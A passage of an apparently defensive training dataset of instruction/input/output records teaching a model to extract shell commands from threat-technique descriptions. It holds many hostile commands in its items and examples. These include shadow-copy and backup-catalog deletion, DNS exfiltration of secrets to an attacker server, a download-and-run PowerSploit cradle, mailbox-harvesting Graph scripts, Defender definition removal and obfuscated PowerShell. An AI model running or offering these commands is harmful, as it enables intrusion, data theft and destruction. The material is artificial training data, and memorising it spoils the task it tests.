    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Numerous ransomware families and APT malware such as Olympic Destroyer utilize this method, which involves executing the command: wmic.exe shadowcopy delete, to delete Windows Volume Shadow Copies.; This technique, used by multiple ransomware families and APT malware including Olympic Destroyer, removes the Windows Backup Catalog with the command: wbadmin delete catalog -quiet",
    "output": "{\"command_list\": [\"wmic.exe shadowcopy delete\\n\", \"wbadmin delete catalog -quiet\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    An attacker can exfiltrate sensitive data by encoding it as a subdomain with base64 and querying a controlled DNS server, using the following command: dig @#{attacker_dns_server} -p #{dns_port} $(echo \"#{secret_info}\" | base64).google.com; To create and register an Entra application for downloading emails from Office 365 mailboxes via Microsoft Graph API app-only access, adversaries can use the following command sequence: $ss = ConvertTo-SecureString \"#{password}\" -AsPlainText -Force\n$cred = New-Object PSCredential -ArgumentList '#{username}', $ss\n$param = @{\n    Credential = $cred\n    Force      = $true\n}\n$null = Connect-AzAccount @param\n$token = (Get-AzAccessToken -ResourceTypeName MSGraph -ErrorAction Stop).token\n$cert = New-SelfSignedCertificate -Subject \"CN=PowerShell Application\" -CertStoreLocation \"Cert:\\CurrentUser\\My\" -KeyExportPolicy Exportable -KeySpec Signature -KeyLength 2048 -KeyAlgorithm RSA -HashAlgorithm SHA256\n$reqResourceAccess = ( @{ \"resourceAccess\" = (@{\"id\"= \"570282fd-fa5c-430d-a7fd-fc8dc98a9dca\"; \"type\"= \"Scope\"}, @{ \"id\"= \"7427e0e9-2fba-42fe-b0c0-848c9e6a8182\"; \"type\"= \"Scope\"}, @{\"id\"= \"37f7f235-527c-4136-accd-4a02d197296e\"; \"type\"= \"Scope\"}, @{\"id\"= \"14dad69e-099b-42c9-810b-d002981feec1\"; \"type\"= \"Scope\"}, @{ \"id\"= \"e1fe6dd8-ba31-4d61-89e7-88639da4683d\"; \"type\"= \"Scope\"}, @{ \"id\"= \"810c84a8-4a9e-49e6-bf7d-12d183f40d01\"; \"type\"= \"Role\"}); \"resourceAppId\" = \"00000003-0000-0000-c000-000000000000\" })\nconnect-mggraph -AccessToken $token\n$context = Get-MgContext       \n$users = get-MgUser\n$app = New-MgApplication -DisplayName \"T1114.002 Atomic Test #1 - Office365 - Remote Email Collection\" -RequiredResourceAccess $reqResourceAccess -Web @{ RedirectUris=\"http://localhost\"; } -KeyCredentials @(@{ Type=\"AsymmetricX509Cert\"; Usage=\"Verify\"; Key=$cert.RawData })\nNew-MgServicePrincipal -AppId $app.appId -AdditionalProperties @{} | Out-Null\n$resourceSPN = Get-MgServicePrincipal -Filter \"AppId eq '$($app.AppId)'\"\n$graphApiApp = Get-MgServicePrincipal -Filter \"DisplayName eq 'Microsoft Graph'\"\n$mailRole = $graphApiApp.AppRoles|Where-Object Value -Eq \"Mail.Read\"\nNew-MgServicePrincipalAppRoleAssignment -ServicePrincipalId $resourceSPN.Id -PrincipalId $resourceSPN.Id -ResourceId $graphApiApp.id -AppRoleId $mailRole.Id\n$mailbox1 = \"#{1st_target_mailbox}\"\n$mailbox2 = \"#{2nd_target_mailbox}\"\n$mailbox3 = \"#{3rd_target_mailbox}\"\n[System.Collections.ArrayList]$selectUsers = @()\nforeach ($user in $users) {if (($user.Mail -eq $mailbox1) -Or ($user.Mail -eq $mailbox2) -Or ($user.Mail -eq $mailbox3)){$selectUsers.Add($user.id)}}\nconnect-mggraph -ClientId $app.AppId -TenantId $context.TenantId -CertificateName $cert.Subjectname.Name\nforeach ($user in $selectUsers) { $url= \"https://graph.microsoft.com/v1.0/users/$($user)/messages\" ; Invoke-MgGraphRequest -Uri $url -Method GET -OutputType PSObject}",
    "output": "{\"command_list\": [\"dig @#{attacker_dns_server} -p #{dns_port} $(echo \\\"#{secret_info}\\\" | base64).google.com\\n\", \"$ss = ConvertTo-SecureString \\\"#{password}\\\" -AsPlainText -Force\\n$cred = New-Object PSCredential -ArgumentList '#{username}', $ss\\n$param = @{\\n    Credential = $cred\\n    Force      = $true\\n}\\n$null = Connect-AzAccount @param\\n$token = (Get-AzAccessToken -ResourceTypeName MSGraph -ErrorAction Stop).token\\n$cert = New-SelfSignedCertificate -Subject \\\"CN=PowerShell Application\\\" -CertStoreLocation \\\"Cert:\\\\CurrentUser\\\\My\\\" -KeyExportPolicy Exportable -KeySpec Signature -KeyLength 2048 -KeyAlgorithm RSA -HashAlgorithm SHA256\\n$reqResourceAccess = ( @{ \\\"resourceAccess\\\" = (@{\\\"id\\\"= \\\"570282fd-fa5c-430d-a7fd-fc8dc98a9dca\\\"; \\\"type\\\"= \\\"Scope\\\"}, @{ \\\"id\\\"= \\\"7427e0e9-2fba-42fe-b0c0-848c9e6a8182\\\"; \\\"type\\\"= \\\"Scope\\\"}, @{\\\"id\\\"= \\\"37f7f235-527c-4136-accd-4a02d197296e\\\"; \\\"type\\\"= \\\"Scope\\\"}, @{\\\"id\\\"= \\\"14dad69e-099b-42c9-810b-d002981feec1\\\"; \\\"type\\\"= \\\"Scope\\\"}, @{ \\\"id\\\"= \\\"e1fe6dd8-ba31-4d61-89e7-88639da4683d\\\"; \\\"type\\\"= \\\"Scope\\\"}, @{ \\\"id\\\"= \\\"810c84a8-4a9e-49e6-bf7d-12d183f40d01\\\"; \\\"type\\\"= \\\"Role\\\"}); \\\"resourceAppId\\\" = \\\"00000003-0000-0000-c000-000000000000\\\" })\\nconnect-mggraph -AccessToken $token\\n$context = Get-MgContext       \\n$users = get-MgUser\\n$app = New-MgApplication -DisplayName \\\"T1114.002 Atomic Test #1 - Office365 - Remote Email Collection\\\" -RequiredResourceAccess $reqResourceAccess -Web @{ RedirectUris=\\\"http://localhost\\\"; } -KeyCredentials @(@{ Type=\\\"AsymmetricX509Cert\\\"; Usage=\\\"Verify\\\"; Key=$cert.RawData })\\nNew-MgServicePrincipal -AppId $app.appId -AdditionalProperties @{} | Out-Null\\n$resourceSPN = Get-MgServicePrincipal -Filter \\\"AppId eq '$($app.AppId)'\\\"\\n$graphApiApp = Get-MgServicePrincipal -Filter \\\"DisplayName eq 'Microsoft Graph'\\\"\\n$mailRole = $graphApiApp.AppRoles|Where-Object Value -Eq \\\"Mail.Read\\\"\\nNew-MgServicePrincipalAppRoleAssignment -ServicePrincipalId $resourceSPN.Id -PrincipalId $resourceSPN.Id -ResourceId $graphApiApp.id -AppRoleId $mailRole.Id\\n$mailbox1 = \\\"#{1st_target_mailbox}\\\"\\n$mailbox2 = \\\"#{2nd_target_mailbox}\\\"\\n$mailbox3 = \\\"#{3rd_target_mailbox}\\\"\\n[System.Collections.ArrayList]$selectUsers = @()\\nforeach ($user in $users) {if (($user.Mail -eq $mailbox1) -Or ($user.Mail -eq $mailbox2) -Or ($user.Mail -eq $mailbox3)){$selectUsers.Add($user.id)}}\\nconnect-mggraph -ClientId $app.AppId -TenantId $context.TenantId -CertificateName $cert.Subjectname.Name\\nforeach ($user in $selectUsers) { $url= \\\"https://graph.microsoft.com/v1.0/users/$($user)/messages\\\" ; Invoke-MgGraphRequest -Uri $url -Method GET -OutputType PSObject}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This test performs a system restart on FreeBSD with the command: halt -r; You can reboot a Linux system with the command: halt --reboot",
    "output": "{\"command_list\": [\"halt -r\\n\", \"halt --reboot\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To prevent ATP from firing for AntiMalware, you can remove definition files by running the following command: \"C:\\Program Files\\Windows Defender\\MpCmdRun.exe\" -RemoveDefinitions -All. Note that on Windows versions 1909 and later, this command may fail due to insufficient privileges even with admin rights, while older versions will show completion.; To stop and remove a Windows service, use the following commands: Stop-Service -Name #{service_name}\nRemove-Service -Name #{service_name}",
    "output": "{\"command_list\": [\"\\\"C:\\\\Program Files\\\\Windows Defender\\\\MpCmdRun.exe\\\" -RemoveDefinitions -All\\n\", \"Stop-Service -Name #{service_name}\\nRemove-Service -Name #{service_name}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    From the 2021 Threat Detection Report by Red Canary, here's an example of an obfuscated command that outputs 'Hello, from PowerShell!', which can be run via: $cmDwhy =[TyPe](\"{0}{1}\" -f 'S','TrING')  ;   $pz2Sb0  =[TYpE](\"{1}{0}{2}\"-f'nv','cO','ert')  ;  &(\"{0}{2}{3}{1}{4}\" -f'In','SiO','vOKe-EXp','ReS','n') (  &(\"{1}{2}{0}\"-f'blE','gET-','vaRIA')  ('CMdw'+'h'+'y')).\"v`ALUe\"::(\"{1}{0}\" -f'iN','jO').Invoke('',( (127, 162,151, 164,145 ,55 , 110 ,157 ,163 , 164 ,40,47, 110 , 145 ,154, 154 ,157 , 54 ,40, 146, 162 , 157,155 ,40, 120, 157 ,167,145 , 162 ,123,150 ,145 , 154 , 154 , 41,47)| .('%') { ( [CHAR] (  $Pz2sB0::\"t`OinT`16\"(( [sTring]${_}) ,8)))})) ); To simulate part of the Snake Malware's behavior as documented by CISA, execute this command which creates a specially named file with Hidden, System, and Archive attributes: $file = New-Item $env:windir\\registration\\04e53197-72be-4dd8-88b1-533fe6eed577.04e53197-72be-4dd8-88b1-533fe6eed577.crmlog; $file.Attributes = 'Hidden', 'System', 'Archive'; Write-Host \"File created: $($file.FullName)\"",
    "output": "{\"command_list\": [\"$cmDwhy =[TyPe](\\\"{0}{1}\\\" -f 'S','TrING')  ;   $pz2Sb0  =[TYpE](\\\"{1}{0}{2}\\\"-f'nv','cO','ert')  ;  &(\\\"{0}{2}{3}{1}{4}\\\" -f'In','SiO','vOKe-EXp','ReS','n') (  (&(\\\"{1}{2}{0}\\\"-f'blE','gET-','vaRIA')  ('CMdw'+'h'+'y')).\\\"v`ALUe\\\"::(\\\"{1}{0}\\\" -f'iN','jO').Invoke('',( (127, 162,151, 164,145 ,55 , 110 ,157 ,163 , 164 ,40,47, 110 , 145 ,154, 154 ,157 , 54 ,40, 146, 162 , 157,155 ,40, 120, 157 ,167,145 , 162 ,123,150 ,145 , 154 , 154 , 41,47)| .('%') { ( [CHAR] (  $Pz2sB0::\\\"t`OinT`16\\\"(( [sTring]${_}) ,8)))})) )\\n\", \"$file = New-Item $env:windir\\\\registration\\\\04e53197-72be-4dd8-88b1-533fe6eed577.04e53197-72be-4dd8-88b1-533fe6eed577.crmlog; $file.Attributes = 'Hidden', 'System', 'Archive'; Write-Host \\\"File created: $($file.FullName)\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: 